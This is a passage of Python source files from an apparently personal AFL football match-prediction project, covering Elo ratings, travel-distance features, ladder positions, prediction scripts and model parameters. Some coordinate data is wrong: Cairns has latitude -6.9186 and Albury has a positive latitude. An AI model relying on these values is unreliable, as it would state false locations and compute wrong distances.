-27.4698, "long": 153.0251}, "Launceston": {"state": "TAS", "lat": -41.4332, "long": 147.1441}, "Canberra": {"state": "ACT", "lat": -35.2809, "long": 149.1300}, "Hobart": {"state": "TAS", "lat": -42.8821, "long": 147.3272}, "Darwin": {"state": "NT", "lat": -12.4634, "long": 130.8456}, "<NAME>": {"state": "NT", "lat": -23.6980, "long": 133.8807}, "Wellington": {"state": "NZ", "lat": -41.2865, "long": 174.7762}, "Euroa": {"state": "VIC", "lat": -36.7500, "long": 145.5667}, "Yallourn": {"state": "VIC", "lat": -38.1803, "long": 146.3183}, "Cairns": {"state": "QLD", "lat": -6.9186, "long": 145.7781}, "Ballarat": {"state": "VIC", "lat": -37.5622, "long": 143.8503}, "Shanghai": {"state": "CHN", "lat": 31.2304, "long": 121.4737}, "Albury": {"state": "NSW", "lat": 36.0737, "long": 146.9135}, } TEAM_CITIES = { "Adelaide": "Adelaide", "Brisbane Lions": "Brisbane", "Carlton": "Melbourne", "Collingwood": "Melbourne", "Essendon": "Melbourne", "Fitzroy": "Melbourne", "Footscray": "Melbourne", "Fremantle": "Perth", "GWS": "Sydney", "Geelong": "Geelong", "Gold Coast": "Gold Coast", "Hawthorn": "Melbourne", "Melbourne": "Melbourne", "North Melbourne": "Melbourne", "Port Adelaide": "Adelaide", "Richmond": "Melbourne", "St Kilda": "Melbourne", "Sydney": "Sydney", "University": "Melbourne", "West Coast": "Perth", } VENUE_CITIES = { "Football Park": "Adelaide", "S.C.G.": "Sydney", "Windy Hill": "Melbourne", "Subiaco": "Perth", "Moorabbin Oval": "Melbourne", "M.C.G.": "Melbourne", "Kardinia Park": "Geelong", "Victoria Park": "Melbourne", "Waverley Park": "Melbourne", "Princes Park": "Melbourne", "Western Oval": "Melbourne", "W.A.C.A.": "Perth", "Carrara": "Gold Coast", "Gabba": "Brisbane", "Docklands": "Melbourne", "York Park": "Launceston", "Manuka Oval": "Canberra", "Sydney Showground": "Sydney", "Adelaide Oval": "Adelaide", "Bellerive Oval": "Hobart", "Marrara Oval": "Darwin", "Traeger Park": "Alice Springs", "Perth Stadium": "Perth", "Stadium Australia": "Sydney", "Wellington": "Wellington", "Lake Oval": "Melbourne", "East Melbourne": "Melbourne", "Corio Oval": "Geelong", "Junction Oval": "Melbourne", "Brunswick St": "Melbourne", "Punt Rd": "Melbourne", "Glenferrie Oval": "Melbourne", "Arden St": "Melbourne", "Olympic Park": "Melbourne", "Yarraville Oval": "Melbourne", "Toorak Park": "Melbourne", "Euroa": "Euroa", "Coburg Oval": "Melbourne", "Brisbane Exhibition": "Brisbane", "North Hobart": "Hobart", "Bruce Stadium": "Canberra", "Yallourn": "Yallourn", "Cazaly's Stadium": "Cairns", "Eureka Stadium": "Ballarat", "Blacktown": "Sydney", "Jiangwan Stadium": "Shanghai", "Albury": "Albury", } def fitzroy(): FitzroyDataImporter() def add_last_week_goals(data_frame): last_week_goals = data_frame["goals"].groupby(level=0).shift() return data_frame.assign(last_week_goals=last_week_goals).drop( ["goals", "oppo_goals"], axis=1 ) def add_last_week_behinds(data_frame): last_week_behinds = data_frame["behinds"].groupby(level=0).shift() return data_frame.assign(last_week_behinds=last_week_behinds).drop( ["behinds", "oppo_behinds"], axis=1 ) def add_out_of_state(data_frame): venue_state = data_frame["venue"].map(lambda x: CITIES[VENUE_CITIES[x]]["state"]) team_state = data_frame["team"].map(lambda x: CITIES[TEAM_CITIES[x]]["state"]) return data_frame.assign(out_of_state=(team_state != venue_state).astype(int)) # https://www.movable-type.co.uk/scripts/latlong.html def haversine_formula(lat_long1, lat_long2): lat1, long1 = lat_long1 lat2, long2 = lat_long2 # Latitude & longitude are in degrees, so have to convert to radians for # trigonometric functions phi1 = math.radians(lat1) phi2 = math.radians(lat2) delta_phi = phi2 - phi1 delta_lambda = math.radians(long2 - long1) a = math.sin(delta_phi / 2) ** 2 + ( math.cos(phi1) * math.cos(phi2) * math.sin(delta_lambda / 2) ** 2 ) c = 2 * math.atan2(math.sqrt(a), math.sqrt(1 - a)) return EARTH_RADIUS * c def add_travel_distance(data_frame): venue_lat_long = data_frame["venue"].map( lambda x: (CITIES[VENUE_CITIES[x]]["lat"], CITIES[VENUE_CITIES[x]]["long"]) ) team_lat_long = data_frame["team"].map( lambda x: (CITIES[TEAM_CITIES[x]]["lat"], CITIES[TEAM_CITIES[x]]["long"]) ) return data_frame.assign( travel_distance=[ haversine_formula(*lats_longs) for lats_longs in zip(venue_lat_long, team_lat_long) ] ) def fr_match_data(): data_frame = ( fitzroy() .get_match_results() .rename(columns=COL_TRANSLATIONS) .drop(["round", "game", "date"], axis=1) ) data_frame = data_frame[ ((data_frame["year"] != 1897) | (data_frame["round_number"] != 15)) & (data_frame["year"] <= 2016) ] stacked_df = TeamDataStacker(index_cols=INDEX_COLS).transform(data_frame) FEATURE_FUNCS = [ add_result, add_shifted_team_features( shift_columns=["result", "score", "goals", "behinds"] ), add_out_of_state, add_travel_distance, add_cum_percent, add_cum_win_points, add_ladder_position, add_win_streak, feature_calculator([(calculate_rolling_rate, [("prev_match_result",)])]), ] return ( FeatureBuilder(feature_funcs=FEATURE_FUNCS) .transform(stacked_df) .drop("venue", axis=1) .dropna() ) <file_sep>/src/tests/helpers.py """Functions and classes to deduplicate and simplify test code.""" class ColumnAssertionMixin: """Mixin class for making columns assertions in tests for Kedro nodes.""" def _assert_column_added( self, column_names=[], valid_data_frame=None, feature_function=None, col_diff=1 ): for column_name in column_names: with self.subTest(data_frame=valid_data_frame): data_frame = valid_data_frame transformed_data_frame = feature_function(data_frame) self.assertEqual( len(data_frame.columns) + col_diff, len(transformed_data_frame.columns), ) self.assertIn(column_name, transformed_data_frame.columns) def _assert_required_columns( self, req_cols=[], valid_data_frame=None, feature_function=None ): for req_col in req_cols: with self.subTest(data_frame=valid_data_frame.drop(req_col, axis=1)): data_frame = valid_data_frame.drop(req_col, axis=1) with self.assertRaises(AssertionError): feature_function(data_frame) def _make_column_assertions( self, column_names=[], req_cols=[], valid_data_frame=None, feature_function=None, col_diff=1, ): self._assert_column_added( column_names=column_names, valid_data_frame=valid_data_frame, feature_function=feature_function, col_diff=col_diff, ) self._assert_required_columns( req_cols=req_cols, valid_data_frame=valid_data_frame, feature_function=feature_function, ) <file_sep>/src/augury/__init__.py """Root module for the Augury app.""" __version__ = "0.1" <file_sep>/scripts/generate_prediction_data.py import os import sys from datetime import date import pandas as pd import numpy as np BASE_DIR = os.path.join(os.path.abspath(os.path.dirname(__file__)), "../") if BASE_DIR not in sys.path: sys.path.append(BASE_DIR) from augury import api from augury.ml_data import MLData from augury.data_import import match_data from augury.settings import INDEX_COLS, SEED np.random.seed(SEED) FIRST_YEAR_WITH_CURRENT_TEAMS = 2012 def _predicted_home_margins(df, pred_col="predicted_margin"): home_teams = ( df.query("at_home == 1").rename_axis(INDEX_COLS + ["ml_model"]).sort_index() ) away_teams = ( df.query("at_home == 0 & team != 0") .reset_index(drop=False) .set_index(["oppo_team", "year", "round_number", "ml_model"]) .rename_axis(INDEX_COLS + ["ml_model"]) .sort_index() ) home_margin_multiplier = (home_teams[pred_col] > away_teams[pred_col]).map( lambda x: 1 if x else -1 ) return ( pd.Series( ((home_teams[pred_col].abs() + away_teams[pred_col].abs()) / 2) * home_margin_multiplier ) .reindex(home_teams.index) .sort_index() ) def _calculate_correct(y, y_pred): # Could give half point for predicted a draw (y_pred == 0), but it only happens # with betting odds, and only rarely, so it's easier to just give it to them return (y == 0) | ((y >= 0) & (y_pred >= 0)) | ((y <= 0) & (y_pred <= 0)) def _betting_predictions(data): # We use oppo_line_odds for predicted_margin, because in betting odds # low is favoured, high is underdog return ( data.data.query("year >= @FIRST_YEAR_WITH_CURRENT_TEAMS")[ [ "team", "year", "round_number", "oppo_team", "at_home", "oppo_line_odds", "margin", ] ] .assign(ml_model="betting_odds") .rename(columns={"oppo_line_odds": "predicted_margin"}) .set_index(INDEX_COLS + ["ml_model"]) ) def _model_predictions(data, year_range): return pd.DataFrame( api.make_predictions(year_range, data=data, train=True).get("data") ).set_index(INDEX_COLS + ["ml_model"]) def _predictions(data, year_range): predictions = pd.concat( [_model_predictions(data, year_range), _betting_predictions(data)], sort=False ).query("team != 0") model_names = predictions.index.get_level_values(level="ml_model").drop_duplicates() model_margins = [ data.data[["margin"]].assign(ml_model=model_name) for model_name in model_names ] match_margins = ( pd.concat(model_margins, sort=False) .rename_axis(INDEX_COLS) .reset_index(drop=False) .set_index(INDEX_COLS + ["ml_model"]) ) return predictions.assign(margin=match_margins["margin"]) def main(): year_range = (FIRST_YEAR_WITH_CURRENT_TEAMS, date.today().year + 1) year_range_label = f"{year_range[0]}_{year_range[1] - 1}" data = MLData( start_date=f"{match_data.FIRST_YEAR_OF_MATCH_DATA}-01-01", end_date=f"{api.END_OF_YEAR}", ) predictions = _predictions(data, year_range) home_team_predictions = _predicted_home_margins(predictions) home_team_margins = pd.concat( [home_team_predictions, predictions["margin"]], join="inner", sort=False, axis=1 ).loc[:, "margin"] correct_predictions = _calculate_correct(home_team_margins, home_team_predictions) predictions.query("at_home == 1").assign( predicted_home_win=lambda df: df["predicted_margin"] >= 0, is_correct=correct_predictions, ).reset_index(drop=False).rename( columns={ "team": "home_team", "oppo_team": "away_team", "predicted_margin": "predicted_home_margin", } ).loc[ :, [ "home_team", "away_team", "year", "round_number", "ml_model", "predicted_home_margin", "predicted_home_win", "is_correct", ], ].to_json( f"{BASE_DIR}/data/07_model_output/model_predictions_{year_range_label}.json", orient="records", ) if __name__ == "__main__": main() <file_sep>/requirements.dev.txt # Contains all dependencies necessary for doing data-sciency things locally, # importing the prod dependencies from requirements.txt -r requirements.txt responses memory_profiler # Data packages dask[complete]>=2.3 catboost category_encoders # Kedro packages ipython==8.2.0 setuptools>=60 # Version requirement of ipykernel isort>=4.3.21, <6.0 jupyter~=1.0 jupyterlab==3.3.2 jupyter_client>=5.1, <8.0 jupyter_nbextensions_configurator==0.4.1 jupyter_contrib_nbextensions==0.5.1 nbstripout==0.5.0 pytest==7.1.1 pytest-cov~=3.0 pytest-mock>=1.7.1, <4.0 wheel~=0.37 # Data vis packages seaborn matplotlib pydot ipywidgets # Model analysis packages eli5 # pdpbox temporarily removing as it's incompatible with versions of matplotlib > 3.1.1 # yellowbrick temporarily removing as it's incompatible with scikit learn 0.24 shap # Testing/Linting pylint==2.13.4 black faker==13.3.4 freezegun factory_boy betamax pytest-xdist pydocstyle==6.1.1 coverage candystore==0.3.4 # Types types-PyYAML types-cachetools types-click types-freezegun types-pkg_resources types-python-dateutil types-pytz types-requests types-simplejson types-toml <file_sep>/src/augury/ml_estimators/estimator_params.py """Params for different versions of estimators.""" from mlxtend.regressor import StackingRegressor import numpy as np from sklearn.pipeline import make_pipeline from sklearn.preprocessing import StandardScaler from sklearn.ensemble import ExtraTreesRegressor import statsmodels.api as sm from xgboost import XGBClassifier from augury.settings import SEED from augury.sklearn.metrics import bits_objective from augury.sklearn.models import EloRegressor, TimeSeriesRegressor from augury.sklearn.preprocessing import ( TeammatchToMatchConverter, DataFrameConverter, ) from .base_ml_estimator import BASE_ML_PIPELINE np.random.seed(SEED) tipresias_margin_2020 = { "name": "tipresias_margin_2020", "min_year": 1965, "pipeline": StackingRegressor( regressors=[ make_pipeline( DataFrameConverter(), BASE_ML_PIPELINE, ExtraTreesRegressor(random_state=SEED), ).set_params( **{ "extratreesregressor__max_depth": 45, "extratreesregressor__max_features": 0.9493692952, "extratreesregressor__min_samples_leaf": 2, "extratreesregressor__min_samples_split": 3, "extratreesregressor__n_estimators": 113, "pipeline__correlationselector__threshold": 0.0376827797, } ), make_pipeline( DataFrameConverter(), TeammatchToMatchConverter(), EloRegressor() ).set_params( **{ "eloregressor__home_ground_advantage": 7, "eloregressor__k": 23.5156358583, "eloregressor__m": 131.54906178, "eloregressor__s": 257.5770727802, "eloregressor__season_carryover": 0.5329064035, "eloregressor__x": 0.6343992255, } ), make_pipeline( DataFrameConverter(), TimeSeriesRegressor( sm.tsa.ARIMA, order=(6, 0, 1), exog_cols=["at_home", "oppo_cum_percent"], ), ).set_params( **{ "timeseriesregressor__exog_cols": ["at_home", "oppo_cum_percent"], "timeseriesregressor__fit_method": "css", "timeseriesregressor__fit_solver": "bfgs", "timeseriesregressor__order": (8, 0, 1), } ), ], meta_regressor=make_pipeline( StandardScaler(), ExtraTreesRegressor(random_state=SEED) ).set_params( **{ "extratreesregressor__max_depth": 41, "extratreesregressor__min_samples_leaf": 1, "extratreesregressor__min_samples_split": 3, "extratreesregressor__n_estimators": 172, }, ), ), } tipresias_proba_2020 = { "name": "tipresias_proba_2020", "pipeline": make_pipeline( BASE_ML_PIPELINE, XGBClassifier( random_state=SEED, objective=bits_objective, use_label_encoder=False, verbosity=0, ), ), } <file_sep>/src/tests/unit/__init__.py """Unit tests that don't require external services.""" <file_sep>/src/augury/pipelines/match/nodes.py """Pipeline nodes for transforming match data.""" from typing import List, Tuple from functools import partial, reduce, update_wrapper import math import re import pandas as pd import numpy as np from sklearn.preprocessing import LabelEncoder from mypy_extensions import TypedDict from augury.settings import ( FOOTYWIRE_VENUE_TRANSLATIONS, CITIES, VENUE_CITIES, TEAM_CITIES, INDEX_COLS, ) from ..nodes.base import ( _parse_dates, _translate_team_column, _validate_required_columns, _filter_out_dodgy_data, _convert_id_to_string, _validate_unique_team_index_columns, _validate_canoncial_team_names, ) EloDictionary = TypedDict( "EloDictionary", { "home_away_elo_ratings": List[Tuple[float, float]], "current_team_elo_ratings": np.ndarray, "year": int, }, ) MATCH_COL_TRANSLATIONS = { "home_points": "home_score", "away_points": "away_score", "margin": "home_margin", "season": "year", "game": "match_id", "home_goals": "home_team_goals", "away_goals": "away_team_goals", "home_behinds": "home_team_behinds", "away_behinds": "away_team_behinds", } SHARED_MATCH_FIXTURE_COLS = [ "date", "venue", "year", "round_number", "home_team", "away_team", ] MATCH_INDEX_COLS = ["year", "round_number"] OPPO_REGEX = re.compile("^oppo_") # Constants for Elo calculations BASE_RATING = 1000 K = 35.6 X = 0.49 M = 130 HOME_GROUND_ADVANTAGE = 9 S = 250 SEASON_CARRYOVER = 0.575 EARTH_RADIUS = 6371 TEAM_LEVEL = 0 YEAR_LEVEL = 1 WIN_POINTS = 4 # AFLTables has some incorrect home/away team designations for finals 2019 def _correct_home_away_teams(match_data: pd.DataFrame) -> pd.DataFrame: round_24_2019 = (match_data["year"] == 2019) & (match_data["round_number"] == 24) incorrect_24_home_team = (match_data["home_team"] == "Collingwood") | ( match_data["home_team"] == "Richmond" ) round_25_2019 = (match_data["year"] == 2019) & (match_data["round_number"] == 25) incorrect_25_home_team = match_data["home_team"] == "GWS" round_26_2019 = (match_data["year"] == 2019) & (match_data["round_number"] == 26) incorrect_26_home_team = match_data["home_team"] == "GWS" reversed_home_away_teams = ( (round_24_2019 & incorrect_24_home_team) | (round_25_2019 & incorrect_25_home_team) | (round_26_2019 & incorrect_26_home_team) ) correct_match_data = match_data.loc[~reversed_home_away_teams, :] incorrect_match_data = match_data.loc[reversed_home_away_teams, :] renamed_match_data = incorrect_match_data.rename( columns=lambda col_name: ( col_name.replace("home_", "away_") if "home_" in col_name else col_name.replace("away_", "home_") ) ) return correct_match_data.append(renamed_match_data, sort=False) def clean_match_data(match_data: pd.DataFrame) -> pd.DataFrame: """Clean, translate, and drop data in preparation for ML-specific transformations. Params ------ match_data (pandas.DataFrame): Raw match data Returns ------- Cleanish pandas.DataFrame """ if any(match_data): clean_data = ( match_data.rename(columns=MATCH_COL_TRANSLATIONS) .astype({"year": int, "round_number": int}) .pipe( _filter_out_dodgy_data( subset=["year", "round_number", "home_team", "away_team"] ) ) .assign( match_id=_convert_id_to_string("match_id"), home_team=_translate_team_column("home_team"), away_team=_translate_team_column("away_team"), date=_parse_dates, ) .drop("round", axis=1) .sort_values("date") .pipe(_correct_home_away_teams) ) _validate_unique_team_index_columns(clean_data) _validate_canoncial_team_names(clean_data) return clean_data return pd.DataFrame() def _map_footywire_venues(venue: str) -> str: return ( FOOTYWIRE_VENUE_TRANSLATIONS[venue] if venue in FOOTYWIRE_VENUE_TRANSLATIONS else venue ) def _map_round_type(year: int, round_number: int) -> str: TWENTY_ELEVEN_AND_LATER_FINALS = year > 2011 and round_number > 23 TWENTY_TEN_FINALS = year == 2010 and round_number > 24 TWO_THOUSAND_NINE_AND_EARLIER_FINALS = ( year > 1994 and year < 2010 and round_number > 22 ) if year <= 1994: raise ValueError( f"Tried to get fixtures for {year}, but fixture data is meant for " "upcoming matches, not historical match data. Try getting fixture data " "from 1995 or later, or fetch match results data for older matches." ) if ( TWENTY_ELEVEN_AND_LATER_FINALS or TWENTY_TEN_FINALS or TWO_THOUSAND_NINE_AND_EARLIER_FINALS ): return "Finals" return "Regular" def _round_type_column(data_frame: pd.DataFrame) -> pd.DataFrame: years = data_frame["year"].drop_duplicates() assert len(years) == 1, ( "Fixture data should only include matches from the next round, but " f"fixture data for seasons {list(years.values)} were given. " f"The offending series is:\n{data_frame['year']}" ) return data_frame["round_number"].map( update_wrapper(partial(_map_round_type, years.iloc[0]), _map_round_type) ) def _match_id_column(data_frame: pd.DataFrame) -> pd.Series: # AFL Tables match IDs start at 1 and go up, so using 0 & negative numbers # for fixture matches will guarantee uniqueness if it ever becomes an issue return pd.Series(range(0, -len(data_frame), -1)).astype(str) def clean_fixture_data(fixture_data: pd.DataFrame) -> pd.DataFrame: """Clean, translate, and drop data in preparation for ML-specific transformations. Params ------ fixture_data (pandas.DataFrame): Raw fixture data Returns ------- Cleanish pandas.DataFrame """ if not fixture_data.size: return pd.DataFrame() fixture_data_frame = ( fixture_data.rename(columns={"round": "round_number", "season": "year"}) .loc[:, SHARED_MATCH_FIXTURE_COLS] .dropna(subset=["home_team", "away_team"]) .assign( venue=lambda df: df["venue"].map(_map_footywire_venues), round_type=_round_type_column, home_team=_translate_team_column("home_team"), away_team=_translate_team_column("away_team"), date=_parse_dates, match_id=_match_id_column, ) .fillna(0) ) _validate_unique_team_index_columns(fixture_data_frame) _validate_canoncial_team_names(fixture_data_frame) return fixture_data_frame def clean_match_results_data(data_frame: pd.DataFrame): """ Clean and translate match results data to match other other data sets. Params ------ data_frame: Match results data to be cleaned. Response -------- Cleanish match results data. """ results_data_frame = ( data_frame.rename( columns={ "hteam": "home_team", "ateam": "away_team", "hscore": "home_score", "ascore": "away_score", "round": "round_number", } ) .dropna(subset=["home_team", "away_team"]) .assign( date=_parse_dates, home_team=_translate_team_column("home_team"), away_team=_translate_team_column("away_team"), ) .loc[ :, [ "date", "home_team", "home_score", "away_team", "away_score", "round_number", "year", ], ] ) _validate_unique_team_index_columns(results_data_frame) _validate_canoncial_team_names(results_data_frame) return results_data_frame # Basing Elo calculations on: # http://www.matterofstats.com/mafl-stats-journal/2013/10/13/building-your-own-team-rating-system.html def _elo_formula( prev_elo_rating: float, prev_oppo_elo_rating: float, margin: int, at_home: bool ) -> float: home_ground_advantage = ( HOME_GROUND_ADVANTAGE if at_home else HOME_GROUND_ADVANTAGE * -1 ) expected_outcome = 1 / ( 1 + 10 ** ((prev_oppo_elo_rating - prev_elo_rating - home_ground_advantage) / S) ) actual_outcome = X + 0.5 - X ** (1 + (margin / M)) return prev_elo_rating + (K * (actual_outcome - expected_outcome)) # Assumes df sorted by year & round_number with ascending=True in order to calculate # correct Elo ratings def _calculate_match_elo_rating( elo_ratings: EloDictionary, # match_row = [year, home_team, away_team, home_margin] match_row: np.ndarray, ) -> EloDictionary: match_year = match_row[0] # It's typical for Elo models to do a small adjustment toward the baseline between # seasons if match_year != elo_ratings["year"]: prematch_team_elo_ratings = ( elo_ratings["current_team_elo_ratings"] * SEASON_CARRYOVER ) + BASE_RATING * (1 - SEASON_CARRYOVER) else: prematch_team_elo_ratings = elo_ratings["current_team_elo_ratings"].copy() home_team = int(match_row[1]) away_team = int(match_row[2]) home_margin = match_row[3] prematch_home_elo_rating = prematch_team_elo_ratings[home_team] prematch_away_elo_rating = prematch_team_elo_ratings[away_team] home_elo_rating = _elo_formula( prematch_home_elo_rating, prematch_away_elo_rating, home_margin, True ) away_elo_rating = _elo_formula( prematch_away_elo_rating, prematch_home_elo_rating, home_margin * -1, False ) postmatch_team_elo_ratings = prematch_team_elo_ratings.copy() postmatch_team_elo_ratings[home_team] = home_elo_rating postmatch_team_elo_ratings[away_team] = away_elo_rating return { "home_away_elo_ratings": elo_ratings["home_away_elo_ratings"] + [(prematch_home_elo_rating, prematch_away_elo_rating)], "current_team_elo_ratings": postmatch_team_elo_ratings, "year": match_year, } def add_elo_rating(data_frame_arg: pd.DataFrame) -> pd.DataFrame: """Append a column for teams' prematch Elo ratings.""" ELO_INDEX_COLS = {"home_team", "year", "round_number"} REQUIRED_COLS = ELO_INDEX_COLS | {"home_score", "away_score", "away_team", "date"} _validate_required_columns(REQUIRED_COLS, data_frame_arg.columns) data_frame = ( data_frame_arg.set_index(list(ELO_INDEX_COLS), drop=False).rename_axis( [None] * len(ELO_INDEX_COLS) ) if ELO_INDEX_COLS != {*data_frame_arg.index.names} else data_frame_arg.copy() ) if not data_frame.index.is_monotonic: data_frame.sort_index(inplace=True) le = LabelEncoder() le.fit(data_frame["home_team"]) time_sorted_data_frame = data_frame.sort_values("date") elo_matrix = ( time_sorted_data_frame.assign( home_team=lambda df: le.transform(df["home_team"]), away_team=lambda df: le.transform(df["away_team"]), ) .eval("home_margin = home_score - away_score") .loc[:, ["year", "home_team", "away_team", "home_margin"]] ).values current_team_elo_ratings = np.full(len(set(data_frame["home_team"])), BASE_RATING) starting_elo_dictionary: EloDictionary = { "home_away_elo_ratings": [], "current_team_elo_ratings": current_team_elo_ratings, "year": 0, } elo_columns = reduce( _calculate_match_elo_rating, elo_matrix, starting_elo_dictionary )["home_away_elo_ratings"] elo_data_frame = pd.DataFrame( elo_columns, columns=["home_elo_rating", "away_elo_rating"], index=time_sorted_data_frame.index, ).sort_index() return pd.concat([data_frame, elo_data_frame], axis=1) def add_out_of_state(data_frame: pd.DataFrame) -> pd.DataFrame: """Append a column for whether a team is playing out of their home state.""" REQUIRED_COLS = {"venue", "team"} _validate_required_columns(REQUIRED_COLS, data_frame.columns) venue_state = data_frame["venue"].map(lambda x: CITIES[VENUE_CITIES[x]]["state"]) team_state = data_frame["team"].map(lambda x: CITIES[TEAM_CITIES[x]]["state"]) return data_frame.assign(out_of_state=(team_state != venue_state).astype(int)) # Got the formula from https://www.movable-type.co.uk/scripts/latlong.html def _haversine_formula( lat_long1: Tuple[float, float], lat_long2: Tuple[float, float] ) -> float: """Calculate distance between two pairs of latitudes & longitudes.""" lat1, long1 = lat_long1 lat2, long2 = lat_long2 # Latitude & longitude are in degrees, so have to convert to radians for # trigonometric functions phi1 = math.radians(lat1) phi2 = math.radians(lat2) delta_phi = phi2 - phi1 delta_lambda = math.radians(long2 - long1) a = math.sin(delta_phi / 2) ** 2 + ( math.cos(phi1) * math.cos(phi2) * math.sin(delta_lambda / 2) ** 2 ) c = 2 * math.atan2(math.sqrt(a), math.sqrt(1 - a)) return EARTH_RADIUS * c def add_travel_distance(data_frame: pd.DataFrame) -> pd.DataFrame: """Append column for distances between teams' home cities and match venue cities.""" required_cols = {"venue", "team"} _validate_required_columns(required_cols, data_frame.columns) venue_lat_long = data_frame["venue"].map( lambda x: (CITIES[VENUE_CITIES[x]]["lat"], CITIES[VENUE_CITIES[x]]["long"]) ) team_lat_long = data_frame["team"].map( lambda x: (CITIES[TEAM_CITIES[x]]["lat"], CITIES[TEAM_CITIES[x]]["long"]) ) return data_frame.assign( travel_distance=[ _haversine_formula(*lats_longs) for lats_longs in zip(venue_lat_long, team_lat_long) ] ) def add_result(data_frame: pd.DataFrame) -> pd.DataFrame: """Append a column for teamsa match results (win, draw, loss) as float.""" REQUIRED_COLS = {"score", "oppo_score"} _validate_required_columns(REQUIRED_COLS, data_frame.columns) wins = (data_frame["score"] > data_frame["oppo_score"]).astype(int) draws = (data_frame["score"] == data_frame["oppo_score"]).astype(int) * 0.5 return data_frame.assign(result=wins + draws) def add_margin(data_frame: pd.DataFrame) -> pd.DataFrame: """Append a column for teams' points margins from matches.""" REQUIRED_COLS = {"score", "oppo_score"} _validate_required_columns(REQUIRED_COLS, data_frame.columns) return data_frame.assign(margin=data_frame["score"] - data_frame["oppo_score"]) def _shift_features(columns: List[str], shift: bool, data_frame: pd.DataFrame): if shift: columns_to_shift = columns else: columns_to_shift = [col for col in data_frame.columns if col not in columns] _validate_required_columns(columns_to_shift, data_frame.columns) shifted_col_names = {col: f"prev_match_{col}" for col in columns_to_shift} # Group by team (not team & year) to get final score from previous season for round 1. # This reduces number of rows that need to be dropped and prevents gaps # for cumulative features shifted_features = ( data_frame.groupby("team")[columns_to_shift] .shift() .fillna(0) .rename(columns=shifted_col_names) ) return pd.concat([data_frame, shifted_features], axis=1) def add_shifted_team_features( shift_columns: List[str] = [], keep_columns: List[str] = [] ): """Group features by team and shift by one to get previous match stats. Use shift_columns to indicate which features to shift or keep_columns for features to leave unshifted, but not both. """ if any(shift_columns) and any(keep_columns): raise ValueError( "To avoid conflicts, you can't include both match_cols " "and oppo_feature_cols. Choose the shorter list to determine which " "columns to skip and which to turn into opposition features." ) shift = any(shift_columns) columns = shift_columns if shift else keep_columns return update_wrapper(partial(_shift_features, columns, shift), _shift_features) def add_cum_win_points(data_frame: pd.DataFrame) -> pd.DataFrame: """Append a column for teams' cumulative win points per season.""" REQUIRED_COLS = {"prev_match_result"} _validate_required_columns(REQUIRED_COLS, data_frame.columns) cum_win_points_col = ( (data_frame["prev_match_result"] * WIN_POINTS) .groupby(level=[TEAM_LEVEL, YEAR_LEVEL]) .cumsum() ) return data_frame.assign(cum_win_points=cum_win_points_col) def add_win_streak(data_frame: pd.DataFrame) -> pd.DataFrame: """Append a column for teams' running win/loss streaks. Streaks calculated through the end of the current match. Positive result (win or draw) adds 1 (or 0.5); negative result subtracts 1. Changes in direction (i.e. broken streak) result in starting over at 1 or -1. """ REQUIRED_COLS = {"prev_match_result"} _validate_required_columns(REQUIRED_COLS, data_frame.columns) win_groups = data_frame["prev_match_result"].groupby( level=TEAM_LEVEL, group_keys=False ) streak_groups = [] for team_group_key, team_group in win_groups: streaks: List = [] for idx, result in enumerate(team_group): # 1 represents win, 0.5 represents draw if result > 0: if idx == 0 or streaks[idx - 1] <= 0: streaks.append(result) else: streaks.append(streaks[idx - 1] + result) # 0 represents loss elif result == 0: if idx == 0 or streaks[idx - 1] >= 0: streaks.append(-1) else: streaks.append(streaks[idx - 1] - 1) elif result < 0: raise ValueError( f"No results should be negative, but {result} " f"is at index {idx} of group {team_group_key}" ) else: # For a team's first match in the data set or any rogue NaNs, we add 0 streaks.append(0) streak_groups.extend(streaks) return data_frame.assign( win_streak=pd.Series(streak_groups, index=data_frame.index) ) def add_cum_percent(data_frame: pd.DataFrame) -> pd.DataFrame: """Append a column for teams' cumulative percentages. This is an official stat used as a tie-breaker for AFL ladder positions and is calculated as cumulative score / cumulative opponents' score. """ REQUIRED_COLS = {"prev_match_score", "prev_match_oppo_score"} _validate_required_columns(REQUIRED_COLS, data_frame.columns) cum_score = ( data_frame["prev_match_score"].groupby(level=[TEAM_LEVEL, YEAR_LEVEL]).cumsum() ) cum_oppo_score = ( data_frame["prev_match_oppo_score"] .groupby(level=[TEAM_LEVEL, YEAR_LEVEL]) .cumsum() ) return data_frame.assign(cum_percent=cum_score / cum_oppo_score) def add_ladder_position(data_frame: pd.DataFrame) -> pd.DataFrame: """Append a column for teams' current ladder position.""" REQUIRED_COLS = INDEX_COLS + ["cum_win_points", "cum_percent"] _validate_required_columns(REQUIRED_COLS, data_frame.columns) # Pivot to get round-by-round match points and cumulative percent ladder_pivot_table = data_frame[ INDEX_COLS + ["cum_win_points", "cum_percent"] ].pivot_table( index=["year", "round_number"], values=["cum_win_points", "cum_percent"], columns="team", aggfunc={"cum_win_points": np.sum, "cum_percent": np.mean}, ) # To get round-by-round ladder ranks, we sort each round by win points & percent, # then save index numbers ladder_index = [] ladder_values = [] for year_round_idx, round_row in ladder_pivot_table.iterrows(): sorted_row = round_row.unstack(level=TEAM_LEVEL).sort_values( ["cum_win_points", "cum_percent"], ascending=False ) for ladder_idx, team_name in enumerate(sorted_row.index.to_numpy()): ladder_index.append(tuple([team_name, *year_round_idx])) ladder_values.append(ladder_idx + 1) ladder_multi_index = pd.MultiIndex.from_tuples( ladder_index, names=tuple(INDEX_COLS) ) ladder_position_col = pd.Series( ladder_values, index=ladder_multi_index, name="ladder_position" ) return data_frame.assign(ladder_position=ladder_position_col) def add_elo_pred_win(data_frame: pd.DataFrame) -> pd.DataFrame: """Append a column for whether teams are predicted to win per their elo ratings.""" REQUIRED_COLS = {"elo_rating", "oppo_elo_rating"} _validate_required_columns(REQUIRED_COLS, data_frame.columns) is_favoured = (data_frame["elo_rating"] > data_frame["oppo_elo_rating"]).astype(int) are_even = (data_frame["elo_rating"] == data_frame["oppo_elo_rating"]).astype(int) # Give half point for predicted draws predicted_results = is_favoured + (are_even * 0.5) return data_frame.assign(elo_pred_win=predicted_results) def _replace_col_names(at_home: bool): team_label = "home" if at_home else "away" oppo_label = "away" if at_home else "home" return ( lambda col: col.replace("oppo_", f"{oppo_label}_", 1) if re.match(OPPO_REGEX, col) else f"{team_label}_{col}" ) def _match_data_frame( data_frame: pd.DataFrame, match_cols: List[str] = [], at_home: bool = True ) -> pd.DataFrame: home_index = "team" if at_home else "oppo_team" away_index = "oppo_team" if at_home else "team" # We drop oppo stats cols, because we end up with both teams' stats per match # when we join home and away teams. We keep 'oppo_team' and add the renamed column # to the index for convenience oppo_stats_cols = [ col for col in data_frame.columns if re.match(OPPO_REGEX, col) and col != "oppo_team" ] return ( data_frame.query(f"at_home == {int(at_home)}") # We index match 